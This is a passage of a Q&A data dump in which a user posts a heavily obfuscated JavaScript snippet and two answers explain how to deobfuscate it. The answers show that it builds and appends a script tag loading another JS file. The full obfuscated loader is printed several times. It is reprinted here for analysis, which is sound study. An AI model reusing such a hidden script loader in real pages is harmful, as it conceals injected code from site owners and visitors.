Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;.&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$__+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$_+&quot;.\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;?\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+&quot;=&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+&quot;\\\&quot;&amp;gt;&amp;lt;\\\\/\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+&quot;&amp;gt;').&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$__+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$+&quot;(\\\&quot;&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+&quot;\\\&quot;),\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;$('&amp;lt;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$__+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$__+&quot;=\\\&quot;&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;/\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;/\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$__+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._+&quot;/\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+&quot;/\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;.\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+&quot;_&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+&quot;.\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+&quot;?\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+&quot;=&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+&quot;\\\&quot;&amp;gt;&amp;lt;\\\\/\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$__+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__+&quot;&amp;gt;').&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.___+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$_+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$_+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$__+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$+&quot;(\\\&quot;&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$_$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§._$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$_$+&quot;\\&quot;+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.$$$+Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§.__$+&quot;\\\&quot;);&quot;+&quot;\&quot;&quot;)())();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21032" LastActivityDate="2017-07-29T09:02:57.110" Title="How work this obfuscation, and how deobfuscate?" Tags="|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15945" PostTypeId="2" ParentId="15943" CreationDate="2017-07-29T07:27:03.283" Score="5" Body="&lt;p&gt;It just uses very difficult to read variable names and do some JS trickery to confuse you what it does. If you replace those strange characters you'll get a bit of more readable form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a=~[];&#xA;a={___:++a,$$$$:(![]+&quot;&quot;)[a],__$:++a,$_$_:(![]+&quot;&quot;)[a],_$_:++a,$_$$:({}+&quot;&quot;)[a],$$_$:(a[a]+&quot;&quot;)[a],_$$:++a,$$$_:(!&quot;&quot;+&quot;&quot;)[a],$__:++a,$_$:++a,$$__:({}+&quot;&quot;)[a],$$_:++a,$$$:++a,$___:++a,$__$:++a};&#xA;a.$_=(a.$_=a+&quot;&quot;)[a.$_$]+(a._$=a.$_[a.__$])+(a.$$=(a.$+&quot;&quot;)[a.__$])+((!a)+&quot;&quot;)[a._$$]+(a.__=a.$_[a.$$_])+(a.$=(!&quot;&quot;+&quot;&quot;)[a.__$])+(a._=(!&quot;&quot;+&quot;&quot;)[a._$_])+a.$_[a.$_$]+a.__+a._$+a.$;&#xA;a.$$=a.$+(!&quot;&quot;+&quot;&quot;)[a._$$]+a.__+a._+a.$+a.$$;&#xA;a.$=(a.___)[a.$_][a.$_];&#xA;a.$(a.$(a.$$+&quot;\&quot;&quot;+&quot;$('&amp;lt;\\&quot;+a.__$+a.$$_+a._$$+a.$$__+&quot;\\&quot;+a.__$+a.$$_+a._$_+&quot;\\&quot;+a.__$+a.$_$+a.__$+&quot;\\&quot;+a.__$+a.$$_+a.___+a.__+&quot;\\&quot;+a.$__+a.___+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;\\&quot;+a.__$+a.$$_+a._$_+a.$$__+&quot;=\\\&quot;&quot;+a.$_$_+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;\\&quot;+a.__$+a.$$_+a._$$+a.$$$_+a.__+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;/\\&quot;+a.__$+a.$_$+a._$_+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;/\\&quot;+a.__$+a.__$+a.$_$+a.$_$_+a.__+&quot;\\&quot;+a.__$+a.$__+a.$$$+&quot;\\&quot;+a.__$+a.$_$+a.___+&quot;\\&quot;+a.__$+a.$$$+a.__$+a._+&quot;/\\&quot;+a.__$+a.___+a._$$+a.$$$_+a.$_$+a.$_$_+&quot;/\\&quot;+a.__$+a.$$_+a.$$$+a.$_$_+&quot;\\&quot;+a.__$+a.$_$+a.__$+&quot;\\&quot;+a.__$+a.$$_+a._$_+&quot;.&quot;+a.$$__+a._$+&quot;\\&quot;+a.__$+a.$$_+a._$_+a.$$$_+&quot;.\\&quot;+a.__$+a.$_$+a._$_+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;?\\&quot;+a.__$+a.$$_+a.$$_+&quot;=&quot;+a.__$+a.$$_+&quot;\\\&quot;&amp;gt;&amp;lt;\\\\/\\&quot;+a.__$+a.$$_+a._$$+a.$$__+&quot;\\&quot;+a.__$+a.$$_+a._$_+&quot;\\&quot;+a.__$+a.$_$+a.__$+&quot;\\&quot;+a.__$+a.$$_+a.___+a.__+&quot;&amp;gt;').&quot;+a.$_$_+&quot;\\&quot;+a.__$+a.$$_+a.___+&quot;\\&quot;+a.__$+a.$$_+a.___+a.$$$_+&quot;\\&quot;+a.__$+a.$_$+a.$$_+a.$$_$+&quot;\\&quot;+a.__$+a._$_+a.$__+a._$+&quot;(\\\&quot;&quot;+a.$_$$+a._$+a.$$_$+&quot;\\&quot;+a.__$+a.$$$+a.__$+&quot;\\\&quot;),\\&quot;+a.__$+a._$_+&quot;$('&amp;lt;\\&quot;+a.__$+a.$$_+a._$$+a.$$__+&quot;\\&quot;+a.__$+a.$$_+a._$_+&quot;\\&quot;+a.__$+a.$_$+a.__$+&quot;\\&quot;+a.__$+a.$$_+a.___+a.__+&quot;\\&quot;+a.$__+a.___+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;\\&quot;+a.__$+a.$$_+a._$_+a.$$__+&quot;=\\\&quot;&quot;+a.$_$_+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;\\&quot;+a.__$+a.$$_+a._$$+a.$$$_+a.__+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;/\\&quot;+a.__$+a.$_$+a._$_+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;/\\&quot;+a.__$+a.__$+a.$_$+a.$_$_+a.__+&quot;\\&quot;+a.__$+a.$__+a.$$$+&quot;\\&quot;+a.__$+a.$_$+a.___+&quot;\\&quot;+a.__$+a.$$$+a.__$+a._+&quot;/\\&quot;+a.__$+a.___+a._$$+a.$$$_+a.$_$+a.$_$_+&quot;/\\&quot;+a.__$+a.$$_+a.$$$+a.$_$_+&quot;\\&quot;+a.__$+a.$_$+a.__$+&quot;\\&quot;+a.__$+a.$$_+a._$_+&quot;.\\&quot;+a.__$+a.$_$+a.$_$+a.$_$_+&quot;\\&quot;+a.__$+a.$_$+a.__$+&quot;\\&quot;+a.__$+a.$_$+a.$$_+&quot;_&quot;+a._$+a._+a.__+&quot;.\\&quot;+a.__$+a.$_$+a._$_+&quot;\\&quot;+a.__$+a.$$_+a._$$+&quot;?\\&quot;+a.__$+a.$$_+a.$$_+&quot;=&quot;+a.$$_+&quot;\\\&quot;&amp;gt;&amp;lt;\\\\/\\&quot;+a.__$+a.$$_+a._$$+a.$$__+&quot;\\&quot;+a.__$+a.$$_+a._$_+&quot;\\&quot;+a.__$+a.$_$+a.__$+&quot;\\&quot;+a.__$+a.$$_+a.___+a.__+&quot;&amp;gt;').&quot;+a.$_$_+&quot;\\&quot;+a.__$+a.$$_+a.___+&quot;\\&quot;+a.__$+a.$$_+a.___+a.$$$_+&quot;\\&quot;+a.__$+a.$_$+a.$$_+a.$$_$+&quot;\\&quot;+a.__$+a._$_+a.$__+a._$+&quot;(\\\&quot;&quot;+a.$_$$+a._$+a.$$_$+&quot;\\&quot;+a.__$+a.$$$+a.__$+&quot;\\\&quot;);&quot;+&quot;\&quot;&quot;)())();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only 6 lines of JS code. Next you need to anywise what specific values does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a=~[];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;evaluates &lt;code&gt;a&lt;/code&gt; to be &lt;code&gt;-1&lt;/code&gt;. Next line uses the previously calculated value and generates an object. If you check for example such expression &lt;code&gt;(![]+&quot;&quot;)&lt;/code&gt; it evaluates to &lt;code&gt;false&lt;/code&gt; and this &lt;code&gt;(![]+&quot;&quot;)[a]&lt;/code&gt; is just taking the a-th character from the string and assigning it to a property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ ___: 0,&#xA;  '$$$$': 'f',&#xA;  '__$': 1,&#xA;  '$_$_': 'a',&#xA;  '_$_': 2,&#xA;  '$_$$': 'b',&#xA;  '$$_$': 'd',&#xA;  '_$$': 3,&#xA;  '$$$_': 'e',&#xA;  '$__': 4,&#xA;  '$_$': 5,&#xA;  '$$__': 'c',&#xA;  '$$_': 6,&#xA;  '$$$': 7,&#xA;  '$___': 8,&#xA;  '$__$': 9 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next 2 lines are using the same tricks to generate words like &lt;code&gt;constructor&lt;/code&gt; and &lt;code&gt;return&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another one is generating the constructor and the last one is calling it with parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you apply those techniques further. You will see it's generates a function that returns string that is a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag with &lt;code&gt;src&lt;/code&gt; attribute pointing to some js script and being appended to the &lt;code&gt;body&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-07-29T07:27:03.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15946" PostTypeId="2" ParentId="15943" CreationDate="2017-07-29T09:02:57.110" Score="8" Body="&lt;p&gt;This obfuscated code is taking advantage of the wide possibilities to name Javascript variables. This makes a simple-obfuscated Javascript code to look much more scarier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As noted in the great article &lt;a href=&quot;https://mathiasbynens.be/notes/javascript-identifiers&quot; rel=&quot;noreferrer&quot;&gt;Valid JavaScript variable names&lt;/a&gt; and taken by me from &lt;a href=&quot;https://stackoverflow.com/a/9337047/7193722&quot;&gt;this answer&lt;/a&gt;, Javascript variables can be represented using a wide-range of characters:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An identifier must start with &lt;code&gt;$&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt;, or any character in the Unicode&#xA;  categories “&lt;a href=&quot;http://graphemica.com/categories/uppercase-letter&quot; rel=&quot;noreferrer&quot;&gt;Uppercase letter (Lu)&lt;/a&gt;”, “&lt;a href=&quot;http://graphemica.com/categories/lowercase-letter&quot; rel=&quot;noreferrer&quot;&gt;Lowercase letter (Ll)&lt;/a&gt;”,&#xA;  “&lt;a href=&quot;http://graphemica.com/categories/titlecase-letter&quot; rel=&quot;noreferrer&quot;&gt;Titlecase letter (Lt)&lt;/a&gt;”, “&lt;a href=&quot;http://graphemica.com/categories/modifier-letter&quot; rel=&quot;noreferrer&quot;&gt;Modifier letter (Lm)&lt;/a&gt;”, “&lt;a href=&quot;http://graphemica.com/categories/other-letter&quot; rel=&quot;noreferrer&quot;&gt;Other letter (Lo)&lt;/a&gt;”,&#xA;  or “&lt;a href=&quot;http://graphemica.com/categories/letter-number&quot; rel=&quot;noreferrer&quot;&gt;Letter number (Nl)&lt;/a&gt;”.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The rest of the string can contain the same characters, plus any&#xA;  U+200C &lt;em&gt;zero width non-joiner characters&lt;/em&gt;, U+200D &lt;em&gt;zero width joiner&lt;/em&gt;&#xA;  &lt;em&gt;characters&lt;/em&gt;, and characters in the Unicode categories “&lt;a href=&quot;http://graphemica.com/categories/nonspacing-mark&quot; rel=&quot;noreferrer&quot;&gt;Non-spacing mark&#xA;  (Mn)&lt;/a&gt;”, “&lt;a href=&quot;http://graphemica.com/categories/spacing-combining-mark&quot; rel=&quot;noreferrer&quot;&gt;Spacing combining mark (Mc)&lt;/a&gt;”, “&lt;a href=&quot;http://graphemica.com/categories/decimal-digit-number&quot; rel=&quot;noreferrer&quot;&gt;Decimal digit number (Nd)&lt;/a&gt;”, or&#xA;  “&lt;a href=&quot;http://graphemica.com/categories/connector-punctuation&quot; rel=&quot;noreferrer&quot;&gt;Connector punctuation (Pc)&lt;/a&gt;”.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To begin deobfuscate the code I recommend to first rename the variable name into more readable one, let's say &lt;code&gt;x&lt;/code&gt;. Using your favorite editor, replace every instance of &lt;code&gt;Ø Ø¡Ø¢Ø£Ø¤Ø¥Ø¦Ø§&lt;/code&gt; to &lt;code&gt;x&lt;/code&gt;. Then put a new line after each semicolon to make the reading easier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x=~[];&#xA;x={___:++x,$$$$:(![]+&quot;&quot;)[x],__$:++x,$_$_:(![]+&quot;&quot;)[x],_$_:++x,$_$$:({}+&quot;&quot;)[x],$$_$:(x[x]+&quot;&quot;)[x],_$$:++x,$$$_:(!&quot;&quot;+&quot;&quot;)[x],$__:++x,$_$:++x,$$__:({}+&quot;&quot;)[x],$$_:++x,$$$:++x,$___:++x,$__$:++x};&#xA;x.$_=(x.$_=x+&quot;&quot;)[x.$_$]+(x._$=x.$_[x.__$])+(x.$$=(x.$+&quot;&quot;)[x.__$])+((!x)+&quot;&quot;)[x._$$]+(x.__=x.$_[x.$$_])+(x.$=(!&quot;&quot;+&quot;&quot;)[x.__$])+(x._=(!&quot;&quot;+&quot;&quot;)[x._$_])+x.$_[x.$_$]+x.__+x._$+x.$;&#xA;x.